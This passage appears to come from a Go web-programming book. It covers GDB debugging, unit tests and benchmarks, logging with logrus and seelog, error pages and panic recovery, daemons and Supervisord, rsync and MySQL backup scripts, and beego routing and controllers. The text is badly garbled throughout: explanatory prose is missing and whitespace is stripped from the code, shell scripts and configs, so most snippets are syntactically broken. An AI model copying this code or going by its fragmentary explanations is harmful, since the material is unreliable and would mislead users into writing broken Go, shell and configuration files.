funcviewRecord(whttp.ResponseWriter,r*http.Request)error{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{returnerr}returnviewTemplate.Execute(w,record)}

500

typeappErrorstruct{ErrorerrorMessagestringCodeint}

typeappHandlerfunc(http.ResponseWriter,*http.Request)*appError

func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){ife:=fn(w,r);e!=nil{//eis*appError,notos.Error.c:=appengine.NewContext(r)c.Errorf("%v",e.Error)http.Error(w,e.Message,e.Code)}}

funcviewRecord(whttp.ResponseWriter,r*http.Request)*appError{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{return&appError{err,"Recordnotfound",404}}iferr:=viewTemplate.Execute(w,record);err!=nil{return&appError{err,"Can'tdisplayrecord",500}}returnnil}

view

GoerrorWeb

links

:: GDB

11.2 GDBGoPHPPythonGoPrintlnPythonpdb/ipdbJavascriptGoGDBGoGDBGDBGDBGo

godelveGo

GDB

GDBFSF()UNIXGDB

1.2.3.4.

GoGDB7.1

Go

1. -ldflags"-s"debug2. -gcflags"-N-l"GoGDB

GDB

list

l list1515

10time.Sleep(2*time.Second)11c<-i12}13close(c)14}1516funcmain(){17msg:="Startingmain"18fmt.Println(msg)19bus:=make(chanint)

break

b, b10

delete d, infobreakpoints

NumTypeDispEnbAddressWhat2breakpointkeepy0x0000000000400dc3inmain.mainat/home/xiemengjun/gdb.go:23breakpointalreadyhit1time

backtrace

bt,

#0main.main()at/home/xiemengjun/gdb.go:23#10x000000000040d61einruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#20x000000000040d6c1inschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#30x0000000000000000in??()

info

info

infolocals

infobreakpoints

infogoroutines

goroutine,*

*1runningruntime.gosched

*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched

print

p$len()$cap()stringslicesmaps

whatis

whatismsg,

type=structstring

next

n, n

coutinue

cN

setvariable

setvariable<var>=<value>

GDBGo

packagemain

import("fmt""time"

)

funccounting(cchan<-int){fori:=0;i<10;i++{time.Sleep(2*time.Second)c<-i}close(c)}

funcmain(){msg:="Startingmain"fmt.Println(msg)bus:=make(chanint)msg="startingagofunc"gocounting(bus)forcount:=rangebus{fmt.Println("count:",count)}}

gdbfile:

gobuild-gcflags"-N-l"gdbfile.go

gdb

gdbgdbfile

run

(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmaincount:0count:1count:2count:3

count:4count:5count:6count:7count:8count:9[LWP2771exited][Inferior1(process2771)exitednormally]

(gdb)b23Breakpoint1at0x400d8d:file/home/xiemengjun/gdbfile.go,line23.(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmain[NewLWP3284][SwitchingtoLWP3284]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

b2323 run list

(gdb)list18fmt.Println(msg)19bus:=make(chanint)20msg="startingagofunc"21gocounting(bus)22forcount:=rangebus{23fmt.Println("count:",count)24}25}

GDB

(gdb)infolocals

count=0bus=0xf840001a50(gdb)pcount$1=0(gdb)pbus$2=(chanint)0xf840001a50(gdb)whatisbustype=chanint

(gdb)cContinuing.count:0[NewLWP3303][SwitchingtoLWP3303]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)(gdb)cContinuing.count:1[SwitchingtoLWP3302]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

cfor

(gdb)infolocalscount=2bus=0xf840001a50(gdb)setvariablecount=9(gdb)infolocalscount=9bus=0xf840001a50(gdb)cContinuing.count:9

[SwitchingtoLWP3302]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

goroutinegoroutine

(gdb)infogoroutines*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched(gdb)goroutine1bt#00x000000000040e33binruntime.gosched()at/home/xiemengjun/go/src/pkg/runtime/proc.c:927#10x0000000000403091inruntime.chanrecv(c=void,ep=void,selected=void,received=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:327#20x000000000040316finruntime.chanrecv2(t=void,c=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:420#30x0000000000400d6finmain.main()at/home/xiemengjun/gdbfile.go:22#40x000000000040d0c7inruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#50x000000000040d16ainschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#60x0000000000000000in??()

goroutinesgoruntine

GDBGo runprintinfosetvariablecoutinuelistbreakGDBGoGDBGDB

links

:: Go

11.3GoGo

Gotestinggotest testing

gotests:

goget-u-vgithub.com/cweill/gotests/...

gotest gotest,

gotest.gogotest_test.go

1. gotest.go::

packagegotest

import("errors")

funcDivision(a,bfloat64)(float64,error){ifb==0{return0,errors.New("0" )}

returna/b,nil}

1. gotest_test.go:

_test.go gotest

importtestingTest

TestXxx()testing.T

funcTestXxx(t*testing.T),Xxx[a-z] Testintdiv

testing.TError,Errorf,FailNow,Fatal,FatalIf Log

packagegotest

import("testing")

funcTest_Division_1(t*testing.T){ifi,e:=Division(6,2);i!=3||e!=nil{//tryaunittestonfunctiont.Error("" )//}else{t.Log("" )//}}

funcTest_Division_2(t*testing.T){t.Error("" )}

`gotest`,

---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:FAILexitstatus1

FAILgotest0.013s`t.Error``gotest``gotest-v`

===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:===RUNTest_Division_2---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:FAILexitstatus1FAILgotest0.012s

1`Test_Division_1` 2`Test_Division_2` 2

funcTest_Division_2(t*testing.T){if_,e:=Division(6,0);e==nil{//tryaunittestonfunctiont.Error("Divisiondidnotworkasexpected.")//

}else{t.Log("onetestpassed.",e)//}}

`gotest-v`

===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:===RUNTest_Division_2---PASS:Test_Division_2(0.00seconds)gotest_test.go:20:onetestpassed.0PASSokgotest0.013s

(,

XXX

funcBenchmarkXXX(b*testing.B){...}

gotest -test.bench: -test.bench="test_name_regex",gotest-test.bench=".*"

, testing.B.N,_test.go

webbench_test.go

packagegotest

import("testing")

funcBenchmark_Division(b*testing.B){fori:=0;i<b.N;i++{//useb.NforloopingDivision(4,5)}}

funcBenchmark_TimeConsumingFunction(b*testing.B){b.StopTimer()//

//,,,//

b.StartTimer()//fori:=0;i<b.N;i++{Division(4,5)}}

gotest-filewebbench_test.go-test.bench=".*"

PASSBenchmark_Division5000000007.76ns/opBenchmark_TimeConsumingFunction5000000007.80ns/opokgotest9.364s

TestXXX Benchmark_Division5000000007.76Benchmark_TimeConsumingFunction5000000007.80

testing gotest,gotest

links

: GDB:

11.4GoGDBGDBGo testing gotestWeb()

links

: Go:

12

10%90%10%10%

GoGoCdaemon

links

::

12.1WebGologfmtpanicGoJavaC++log4jlog4cpp: logrusseelog

##logruslogrusGologAPI,Go

logrus

goget-ugithub.com/sirupsen/logrus

:

packagemain

import(log"github.com/Sirupsen/logrus")

funcmain(){log.WithFields(log.Fields{"animal":"walrus",}).Info("Awalrusappears")}

logrus

packagemain

import(log"github.com/Sirupsen/logrus""os")

funcinit(){//JSONASCIIlog.SetFormatter(&log.JSONFormatter{})

//stdoutstderrlog.SetOutput(os.Stdout)

//log.SetLevel(log.WarnLevel)}

funcmain(){log.WithFields(log.Fields{"animal":"walrus","size":10,

}).Info("Agroupofwalrusemergesfromtheocean")

log.WithFields(log.Fields{"omg":true,"number":122,}).Warn("Thegroup'snumberincreasedtremendously!")

log.WithFields(log.Fields{"omg":true,"number":100,}).Fatal("Theicebreaks!")

////logrus.EntryWithFields()contextLogger:=log.WithFields(log.Fields{"common":"thisisacommonfield","other":"Ialsoshouldbeloggedalways",})

contextLogger.Info("I'llbeloggedwithcommonandotherfield")contextLogger.Info("Metoo")}

seelog

seelogGo

XML

logrotateSMTP

seelogwiki

seelog

goget-ugithub.com/cihub/seelog

packagemain

importlog"github.com/cihub/seelog"

funcmain(){deferlog.Flush()log.Info("HellofromSeelog!")}

Hellofromseelogseelog

seelog

seelog

packagelogs

import(//"errors""fmt"seelog"github.com/cihub/seelog"//"io")

varLoggerseelog.LoggerInterface

funcloadAppConfig(){

appConfig:=`<seelogminlevel="warn"><outputsformatid="common"><rollingfiletype="size"filename="/data/logs/roll.log"maxsize="100000"maxrolls="5"/><filterlevels="critical"><filepath="/data/logs/critical.log"formatid="critical"/><smtpformatid="criticalemail"senderaddress="astaxie@gmail.com"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="xiemengjun@gmail.com"/></smtp></filter></outputs><formats><formatid="common"format="%Date/%Time[%LEV]%Msg%n"/><formatid="critical"format="%File%FullPath%Func%Msg%n"/><formatid="criticalemail"format="Criticalerroronourserver!\n%Time%Date%RelFile%Func%Msg\nSentbySeelog"/></formats></seelog>`logger,err:=seelog.LoggerFromConfigAsBytes([]byte(appConfig))iferr!=nil{fmt.Println(err)return}UseLogger(logger)}

funcinit(){DisableLog()loadAppConfig()}

//DisableLogdisablesalllibrarylogoutputfuncDisableLog(){Logger=seelog.Disabled}

//UseLoggerusesaspecifiedseelog.LoggerInterfacetooutputlibrarylog.

//UsethisfuncifyouareusingSeelogloggingsysteminyourapp.funcUseLogger(newLoggerseelog.LoggerInterface){Logger=newLogger}

DisableLog

LoggerseelogLogger

loadAppConfig

seelogXML

seelog

minlevel,maxlevel

outputs

logrotatefiltercritical

formats

UseLogger

packagemain

import("net/http"

"project/logs""project/configs""project/routes")

funcmain(){addr,_:=configs.MainConfig.String("server","addr")logs.Logger.Info("Startserverat:%v",addr)err:=http.ListenAndServe(addr,routes.NewMux())logs.Logger.Critical("Servererr:%v",err)}

smtp

<smtpformatid="criticalemail"senderaddress="astaxie@gmail.com"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="xiemengjun@gmail.com"/></smtp>

criticalemailrecipient

logs.Logger.Critical("testCriticalmessage")

CriticalEmail

"Info""warn"linuxgrep

#cat/data/logs/roll.log|grep"failedlogin"2012-12-1111:12:00WARN:failedloginattemptfrom11.22.33.44usernamepassword

Webseeloglogrotate

seelogseelogminlevel

links

::

12.2WebWeb

SQLSQL

inijson

HTTP404401()403()503()

Web(404.html)(error.html)errnil404()

404.htmlerror.html

<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">

</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit">

<h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>

<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">

</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>! </h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>

404

func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}NotFound404(w,r)return}

funcNotFound404(whttp.ResponseWriter,r*http.Request){log.Error("" )//t,_=t.ParseFiles("tmpl/404.html",nil)//ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}

funcSystemError(whttp.ResponseWriter,r*http.Request){log.Critical("" )//Critical

t,_=t.ParseFiles("tmpl/error.html",nil)//ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}

try...catchGopanicos.Openpanicnet.ConnWritepanic

panicx[j]jpanicpanicgoroutinepanicpanicGopanicuidUserusernameuidrecoverrecover

funcGetUser(uidint)(usernamestring){deferfunc(){ifx:=recover();x!=nil{username=""}

}()

username=User[uid]return}

packagepanicpanicrecoverpackage

WebGo

links

::

12.3WebGoCdaemonGodaemonGoSupervisordupstartdaemontoolsSupervisord

daemon

GodaemonGobug `http://code.google.com/p/go/issues/detail?id=227`fork

daemon

MarGoCommond

d:=flag.Bool("d",false,"Whetherornottolaunchinthebackground(likeadaemon)")if*d{cmd:=exec.Command(os.Args[0],"-close-fds","-addr",*addr,"-call",*call,)serr,err:=cmd.StderrPipe()iferr!=nil{log.Fatalln(err)}err=cmd.Start()iferr!=nil{log.Fatalln(err)}s,err:=ioutil.ReadAll(serr)s=bytes.TrimSpace(s)ifbytes.HasPrefix(s,[]byte("addr:")){fmt.Println(string(s))cmd.Process.Release()}else{log.Printf("unexpectedresponsefromMarGo:`%s`error:`%v`\n",s,err)cmd.Process.Kill()}}

syscall

packagemain

import("log""os""syscall")

funcdaemon(nochdir,nocloseint)int{varret,ret2uintptrvarerruintptr

darwin:=syscall.OS=="darwin"

//alreadyadaemonifsyscall.Getppid()==1{return0}

//forkofftheparentprocessret,ret2,err=syscall.RawSyscall(syscall.SYS_FORK,0,0,0)iferr!=0{return-1}

//failureifret2<0{os.Exit(-1)}

//handleexceptionfordarwinifdarwin&&ret2==1{ret=0}

//ifwegotagoodPID,thenwecallexittheparentprocess.ifret>0{os.Exit(0)}

/*Changethefilemodemask*/_=syscall.Umask(0)

//createanewSIDforthechildprocesss_ret,s_errno:=syscall.Setsid()ifs_errno!=0{log.Printf("Error:syscall.Setsiderrno:%d",s_errno)}ifs_ret<0{return-1}

ifnochdir==0{os.Chdir("/")}

ifnoclose==0{f,e:=os.OpenFile("/dev/null",os.O_RDWR,0)ife==nil{fd:=f.Fd()syscall.Dup2(fd,os.Stdin.Fd())syscall.Dup2(fd,os.Stdout.Fd())syscall.Dup2(fd,os.Stderr.Fd())}}

return0}

Godaemondaemonskynetdaemon

Supervisord

GodaemonSupervisordSupervisordPythonsupervisorddaemon

SupervisordSupervisordSupervisord100000Supervisord10241024.

Supervisord

Supervisordsudoeasy_installsupervisorSupervisord setup.pyinstall

easy_installsetuptools

http://pypi.python.org/pypi/setuptools#filespython shsetuptoolsxxxx.eggeasy_installSupervisord

Supervisord

Supervisord/etc/supervisord.conf

;/etc/supervisord.conf[unix_http_server]file=/var/run/supervisord.sockchmod=0777chown=root:root

[inet_http_server]#Webport=9001username=adminpassword=yourpassword

[supervisorctl]; 'unix_http_server'serverurl=unix:///var/run/supervisord.sock

[supervisord]logfile=/var/log/supervisord/supervisord.log;(mainlogfile;default$CWD/supervisord.log)logfile_maxbytes=50MB;(maxmainlogfilebytesb4rotation;default50MB)logfile_backups=10;(numofmainlogfilerotationbackups;default10)loglevel=info;(loglevel;defaultinfo;others:debug,warn,trace)pidfile=/var/run/supervisord.pid;(supervisordpidfile;defaultsupervisord.pid)nodaemon=true;(startinforegroundiftrue;defaultfalse)minfds=1024;(min.availstartupfiledescriptors;default1024)minprocs=200;(min.availprocessdescriptors;default200)user=root;(defaultiscurrentuser,requiredifroot)childlogdir=/var/log/supervisord/;('AUTO'childlogdir,default$TEMP)

[rpcinterface:supervisor]supervisor.rpcinterface_factory=supervisor.rpcinterface:make_main_rpcinterface

;program[program:blogdemon]

command=/data/blog/blogdemonautostart=truestartsecs=5user=rootredirect_stderr=truestdout_logfile=/var/log/supervisord/blogdemon.log

Supervisord

Supervisordsupervisorsupervisorctl

supervisordSupervisordsupervisorctlstopprogramxxx(programxxx)programxxx[program:blogdemon]blogdemonsupervisorctlstartprogramxxxsupervisorctlrestartprogramxxxsupervisorctlstopallstartrestartstopsupervisorctlreload

GodaemonGodaemondaemonpythonSupervisordSupervisordGo

links

::

12.4/Mysqlredis

Web

rsyncrsyncwindowswindowscwrsync

rsync

rysnc http://rsync.samba.org/rsyncLinux

#sudoapt-getinstallrsyncdebianubuntu#yuminstallrsyncFedoraRedhatCentOS#rpm-ivhrsyncFedoraRedhatCentOSrpm

Linux

tarxvfrsync-xxx.tar.gzcdrsync-xxx./configure--prefix=/usr;make;makeinstallgcc

rsync

rsyncrsyncd.conf()rsyncd.secrets()rsyncd.motd(rysnc)

rsync

#/usr/bin/rsync--daemon--config=/etc/rsyncd.conf

--daemonrsyncrsync

echo'rsync--daemon'>>/etc/rc.d/rc.local

rsync

echo':' >/etc/rsyncd.secretschmod600/etc/rsyncd.secrets

rsync-avzP--delete--password-file=rsyncd.secrets@ 192.168.145.5::www/var/rsync/backup

i. -avzP--helpii. --deleteABiii. --password-file/etc/rsyncd.secrets/etc/rsyncd.secretscron

iv. ""/etc/rsyncd.secretsv. 192.168.145.5IP

vi. ::www2:www/etc/rsyncd.conf[www]/etc/rsyncd.conf[www]:

crontabrsync

MySQL

MySQLMySQLmaster/slavemaster/slavemaster/slave

shellrsync

mysqlmysqldump

#!/bin/bash

#mysql_user="USER"#MySQLmysql_password="PASSWORD"#MySQLmysql_host="localhost"mysql_port="3306"mysql_charset="utf8"#MySQLbackup_db_arr=("db1""db2")#("db1""db2""db3")

backup_location=/var/www/mysql#"/",

expire_backup_delete="ON"#ONOFFexpire_days=3#expire_backup_delete

#backup_time=`date+%Y%m%d%H%M`#backup_Ymd=`date+%Y-%m-%d`#backup_3ago=`date-d'3daysago'+%Y-%m-%d`#3backup_dir=$backup_location/$backup_Ymd#welcome_msg="WelcometouseMySQLbackuptools!"#

#MYSQL,mysqlmysql_ps=`ps-ef|grepmysql|wc-l`mysql_listen=`netstat-an|grepLISTEN|grep$mysql_port|wc-l`if[[$mysql_ps==0]-o[$mysql_listen==0]];thenecho"ERROR:MySQLisnotrunning!backupstop!"exitelseecho$welcome_msgfi

#mysqlmysql-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password<<endusemysql;selecthost,userfromuserwhereuser='root'andhost='localhost';

exitend

flag=`echo$?`if[$flag!="0"];thenecho"ERROR:Can'tconnectmysqlserver!backupstop!"exitelseecho"MySQLconnectok!Pleasewait......"#if["$backup_db_arr"!=""];then#dbnames=$(cut-d','-f1-5$backup_database)#echo"arris(${backup_db_arr[@]})"fordbnamein${backup_db_arr[@]}doecho"database$dbnamebackupstart..."`mkdir-p$backup_dir``mysqldump-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password$dbname--default-character-set=$mysql_charset|gzip>$backup_dir/$dbname-$backup_time.sql.gz`flag=`echo$?`if[$flag=="0"];thenecho"database$dbnamesuccessbackupto$backup_dir/$dbname-$backup_time.sql.gz"elseecho"database$dbnamebackupfail!"

fi

doneelseecho"ERROR:Nodatabasetobackup!backupstop"exitfi#if["$expire_backup_delete"=="ON"-a"$backup_location"!=""];then#`find$backup_location/-typed-o-typef-ctime+$expire_days-execrm-rf{}\;``find$backup_location/-typed-mtime+$expire_days|xargsrm-rf`echo"Expiredbackupdatadeletecomplete!"fiecho"Alldatabasebackupsuccess!Thankyou!"exitfi

shell

chmod600/root/mysql_backup.shchmod+x/root/mysql_backup.sh

crontab00:00/var/www/mysqlrsync

0000***/root/mysql_backup.sh

MySQL

MySQLslave

SQL

mysql-uusername-pdatabse<backup.sql

redis

redisNoSQLredismaster/slaveredisrsync

redis

redisMySQL

rediscopyredisredisredis

rsyncMySQLredis

links

::

12.5Web

404()

Web

links

:: Web

13 WebGoWebWebGoWebMVCURLcontrollerresponserequestWeb

WebMVCMVC

links

::

13.1

gopath

gopathGOPATHGOPATHwindowlinux/MacOS exportgopath=/home/astaxie/gopathgopathpkgbinsrcsrcbeeblogwindow

13.1GOPATH

13.2$gopath/src

--MVCGo

(Model)(View)GoRSS“”GotemplateView(Controller)HTTP

:

13.3

1. main.go2. HTTPURLmethod()3.4. HTTP5.6. Web

|——main.go|——conf|——controllers|——models|——utils|——static|——views

REST

GOPATHMVC

links

::

13.2

HTTP

HTTPHTTP(struct)

(path)(:/user/123,/article/123)(?id=11)HTTP(method)(GETPOSTPUTDELETEPATCH)

()

3.4GohttpGohttp

funcfooHandler(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))}

http.HandleFunc("/foo",fooHandler)

http.HandleFunc("/bar",func(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))})

log.Fatal(http.ListenAndServe(":8080",nil))

httpDefaultServeMuxURL(r.URL.Path)

Gohttp.Handlehttp.HandleFunc DefaultServeMux.Handle(patternstring,handlerHandler),mapmap[string]muxEntry

GotcpHandlernil http.DefaultServeMuxDefaultServeMux.ServeHTTPmapURL

fork,v:=rangemux.m{if!pathMatch(k,path){continue}ifh==nil||len(k)>n{n=len(k)

h=v.h}}

beego

WebhttpGo

/user/:uidREST/fooGETPOSTDELETEHEADAPIstruct

beegoRESTGo

RESTstructstructmethod

controllerInfo(structreflect.Type)ControllerRegistor(routersslicebeego)

typecontrollerInfostruct{regex*regexp.Regexpparamsmap[int]stringcontrollerTypereflect.Type}

typeControllerRegistorstruct{routers[]*controllerInfoApplication*App}

ControllerRegistor

func(p*ControllerRegistor)Add(patternstring,cControllerInterface)

func(p*ControllerRegistor)Add(patternstring,cControllerInterface){parts:=strings.Split(pattern,"/")

j:=0params:=make(map[int]string)fori,part:=rangeparts{ifstrings.HasPrefix(part,":"){expr:="([^/]+)"

//ausermaychoosetooverridethedefultexpression//similartoexpressjs:‘/user/:id([0-9]+)’

ifindex:=strings.Index(part,"(");index!=-1{expr=part[index:]part=part[:index]}params[j]=partparts[i]=exprj++}}

//recreatetheurlpattern,withparametersreplaced//byregularexpressions.thencompiletheregex

pattern=strings.Join(parts,"/")regex,regexErr:=regexp.Compile(pattern)ifregexErr!=nil{

//TODOadderrorhandlingheretoavoidpanicpanic(regexErr)return}

//nowcreatetheRoutet:=reflect.Indirect(reflect.ValueOf(c)).Type()

route:=&controllerInfo{}route.regex=regexroute.params=paramsroute.controllerType=t

p.routers=append(p.routers,route)

}

GohttpFileServerbeegoStaticDirStaticDirmap

func(app*App)SetStaticPath(urlstring,pathstring)*App{StaticDir[url]=pathreturnapp}

beego.SetStaticPath("/img","/static/img")

ControllerRegistor

//AutoRoutefunc(p*ControllerRegistor)ServeHTTP(whttp.ResponseWriter,r*http.Request){deferfunc(){iferr:=recover();err!=nil{if!RecoverPanic{//gobacktopanicpanic(err)

}else{Critical("Handlercrashedwitherror",err)fori:=1;;i+=1{_,file,line,ok:=runtime.Caller(i)if!ok{break}Critical(file,line)}}}}()varstartedboolforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)started=truereturn}}requestPath:=r.URL.Path

//findamatchingRoutefor_,route:=rangep.routers{

//checkifRoutepatternmatchesurlif!route.regex.MatchString(requestPath){continue}

//getsubmatches(params)matches:=route.regex.FindStringSubmatch(requestPath)

//doublecheckthattheRoutematchestheURLpattern.iflen(matches[0])!=len(requestPath){continue}

params:=make(map[string]string)iflen(route.params)>0{//addurlparameterstothequeryparammapvalues:=r.URL.Query()fori,match:=rangematches[1:]{values.Add(route.params[i],match)params[route.params[i]]=match

}

//reassemblequeryparamsandaddtoRawQueryr.URL.RawQuery=url.Values(values).Encode()+"&"+r.URL.RawQuery//r.URL.RawQuery=url.Values(values).Encode()}//Invoketherequesthandlervc:=reflect.New(route.controllerType)init:=vc.MethodByName("Init")in:=make([]reflect.Value,2)ct:=&Context{ResponseWriter:w,Request:r,Params:params}in[0]=reflect.ValueOf(ct)in[1]=reflect.ValueOf(route.controllerType.Name())init.Call(in)in=make([]reflect.Value,0)method:=vc.MethodByName("Prepare")method.Call(in)ifr.Method=="GET"{method=vc.MethodByName("Get")method.Call(in)}elseifr.Method=="POST"{method=vc.MethodByName("Post")method.Call(in)}elseifr.Method=="HEAD"{method=vc.MethodByName("Head")method.Call(in)}elseifr.Method=="DELETE"{method=vc.MethodByName("Delete")method.Call(in)}elseifr.Method=="PUT"{method=vc.MethodByName("Put")method.Call(in)}elseifr.Method=="PATCH"{method=vc.MethodByName("Patch")method.Call(in)}elseifr.Method=="OPTIONS"{method=vc.MethodByName("Options")method.Call(in)}ifAutoRender{method=vc.MethodByName("Render")method.Call(in)}method=vc.MethodByName("Finish")

method.Call(in)started=truebreak}

//ifnomatchestourl,throwanotfoundexceptionifstarted==false{http.NotFound(w,r)}}

beego.BeeApp.RegisterController("/",&controllers.MainController{})

beego.BeeApp.RegisterController("/:param",&controllers.UserController{})

beego.BeeApp.RegisterController("/users/:uid([0-9]+)",&controllers.UserController{})

links

:: controller

13.3controllerMVCActionWebRESTFilterrewriteURLRESTURLRESTMVCRESTMVCcontrollerWeb“Hello,world”

controller

MVCWebModelViewController(UI)ModelViewHTMLControllerWebURLURLcontrollerMVCModelView302ModelViewcontroller

beego REST

structstructRESTcontrollerstructinterface

typeControllerstruct{Ct*ContextTpl*template.TemplateDatamap[interface{}]interface{}ChildNamestringTplNamesstringLayout[]stringTplExtstring}

typeControllerInterfaceinterface{Init(ct*Context,cnstring)//Prepare()//Get()//method=GETPost()//method=POSTDelete()//method=DELETE

Put()//method=PUTHead()//method=HEADPatch()//method=PATCHOptions()//method=OPTIONSFinish()//Render()error//method}

addControllerInterfaceController

func(c*Controller)Init(ct*Context,cnstring){c.Data=make(map[interface{}]interface{})c.Layout=make([]string,0)c.TplNames=""c.ChildName=cnc.Ct=ctc.TplExt="tpl"}

func(c*Controller)Prepare(){

}

func(c*Controller)Finish(){

}

func(c*Controller)Get(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Post(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Delete(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Put(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Head(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Patch(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Options(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Render()error{iflen(c.Layout)>0{varfilenames[]stringfor_,file:=rangec.Layout{filenames=append(filenames,path.Join(ViewsPath,file))}t,err:=template.ParseFiles(filenames...)iferr!=nil{Trace("templateParseFileserr:",err)}err=t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}else{ifc.TplNames==""{c.TplNames=c.ChildName+"/"+c.Ct.Request.Method+"."+c.TplExt}t,err:=template.ParseFiles(path.Join(ViewsPath,c.TplNames))iferr!=nil{Trace("templateParseFileserr:",err)}err=t.Execute(c.Ct.ResponseWriter,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}returnnil}

func(c*Controller)Redirect(urlstring,codeint){c.Ct.Redirect(code,url)}

controllerurlcontroller

Init()Prepare()method() method GETPOSTPUTHEAD403

Render() AutoRenderFinish()

beegocontroller

packagecontrollers

import("github.com/astaxie/beego")

typeMainControllerstruct{beego.Controller}

func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="astaxie@gmail.com"this.TplNames="index.tpl"}

MainControllerGet(POST/HEAD)403GetAutoRender=trueGetRender

index.tpl

<!DOCTYPEhtml><html><head><title>beegowelcometemplate</title></head><body><h1>Hello,world!{{.Username}},{{.Email}}</h1></body></html>

links

::

13.4

seeloglevellevellevel

beego

beegoseeloglevelbeegolog.Loggeros.Stdout,beego.SetLogger

//Loglevelstocontroltheloggingoutput.const(LevelTrace=iotaLevelDebugLevelInfoLevelWarningLevelErrorLevelCritical)

//logLevelcontrolsthegloballoglevelusedbythelogger.varlevel=LevelTrace

//LogLevelreturnsthegloballoglevelandcanbeusedin//ownimplementationsoftheloggerinterface.funcLevel()int{returnlevel}

//SetLogLevelsetsthegloballoglevelusedbythesimple//logger.funcSetLevel(lint){level=l}

TraceSetLevel

//loggerreferencestheusedapplicationlogger.varBeeLogger=log.New(os.Stdout,"",log.Ldate|log.Ltime)

//SetLoggersetsanewlogger.funcSetLogger(l*log.Logger){BeeLogger=l}

//Tracelogsamessageattracelevel.funcTrace(v...interface{}){iflevel<=LevelTrace{BeeLogger.Printf("[T]%v\n",v)}}

//Debuglogsamessageatdebuglevel.funcDebug(v...interface{}){iflevel<=LevelDebug{BeeLogger.Printf("[D]%v\n",v)}}

//Infologsamessageatinfolevel.funcInfo(v...interface{}){iflevel<=LevelInfo{BeeLogger.Printf("[I]%v\n",v)}}

//Warninglogsamessageatwarninglevel.funcWarn(v...interface{}){iflevel<=LevelWarning{BeeLogger.Printf("[W]%v\n",v)}}

//Errorlogsamessageaterrorlevel.funcError(v...interface{}){iflevel<=LevelError{BeeLogger.Printf("[E]%v\n",v)}}

//Criticallogsamessageatcriticallevel.funcCritical(v...interface{}){iflevel<=LevelCritical{BeeLogger.Printf("[C]%v\n",v)}}

BeeLoggeros.Stdoutbeego.SetLoggerlogger

Trace"Enteredparsefunctionvalidationblock""Validation:enteredsecond'if'""Dictionary'Dict'isempty.Usingdefaultvalue"

Debug"Webpagerequested:http://somesite.comParams='...'""Responsegenerated.Responsesize:10000.Sending.""Newfilereceived.Type:PNGSize:20000"

Info"Webserverrestarted""Hourlystatistics:Requestedpages:12345Errors:123...""Servicepaused.Waitingfor'resume'call"

Warn"Cachecorruptedforfile='test.file'.Readingfromback-end""Database192.168.0.7/DBnotresponding.Usingbackup192.168.0.8/DB""Noresponsefromstatisticsserver.Statisticsnotsent"

Error"Internalerror.Cannotprocessrequest#12345Error:....""Cannotperformlogin:credentialsDBnotresponding"

